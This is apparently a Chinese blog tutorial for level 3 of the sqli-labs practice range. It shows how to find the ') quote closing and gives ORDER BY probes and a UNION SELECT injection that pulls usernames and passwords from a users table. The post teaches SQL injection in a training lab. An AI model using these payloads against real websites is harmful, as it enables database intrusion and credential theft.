当前位置: 首页 > news >正文

sqli-labs靶场 less 3

文章目录

  • sqli-labs靶场
    • less 3 联合注入


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 3 联合注入

  • 题目类型: 字符型 ’ ) 闭合

id=1/0
如果是数字型,则报错,但是回显正常。说明是字符型

在这里插入图片描述

id=1" 回显正常,说明肯定不是双引号闭合

在这里插入图片描述

id=1’ id=1’ ’ id=1’ ’ ’ id=1’ ’ ’ ’ 呈规律性变化,说明是单引号闭合

在这里插入图片描述

id=1’–+
单引号加注释,有报错,说明不是简单的单引号闭合

在这里插入图片描述

id=1’1
查看报错信息,可以看到箭头指向的单引号是成对存在的,所以 ’ ) 是多余的,因此闭合方式是单引号加括号

在这里插入图片描述

id=1’) order by 4–+

在这里插入图片描述

id=1’) order by 3–+

在这里插入图片描述

这道题原理与less 1 一样,只不过是闭合方式是 ’ )
id=-1 ’ ) union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+
直接猜解数据

在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/97913.html

相关文章:

  • CF每日5题Day5(1400)
  • 使用firewall-cmd配置SIP端口转发,实现双网卡互通,内外网方式
  • npm i 出现的网络问题
  • Python Cookbook-4.13 获取字典的一个子集
  • 19.OpenCV图像二值化
  • 【Linux笔记】进程间通信——命名管道
  • 深度学习中的数据类型
  • 17-动规-最长增长子序列
  • leetcode90-子集II
  • 我的编程之旅:从零到无限可能
  • 剖析 Redis 缓存更新策略:保障数据一致性与系统性能的平衡
  • 光传输设备现状
  • 刷题日记day14-字符串-数组去重和排序
  • flutter 专题 七十四 Flutter开发之动画
  • 【Docker镜像】Python项目之使用Dockerfile构建镜像(二)
  • 在Trae中设置Python解释器版本
  • 从零实现3D自动标注:MS3D、MS3D++
  • Android 项目问题:The specified Android SDK Build Tools version (28.0.3) is ignored
  • 【SMBIOS数据块类型列表】
  • 精心整理-2024最新网络安全-信息安全全套资料(学习路线、教程笔记、工具软件、面试文档).zip
  • SQL Server:当在删除数据库时因为存在触发器而无法删除
  • 中小型企业网络的搭建
  • c++学习系列----006. c++模板(函数模板)
  • 静态网页应用开发环境搭建实战教程
  • Manim 输出视频尺寸设置
  • CD20.【C++ Dev】类和对象(11) 日期类对象的成员函数(++、--、日期-日期)
  • C++:allocator类(动态数组续)
  • Playwright设置base_url的三种方式
  • BUUCTF-web刷题篇(3)
  • PHP如何搭建设置代理http并加密使用?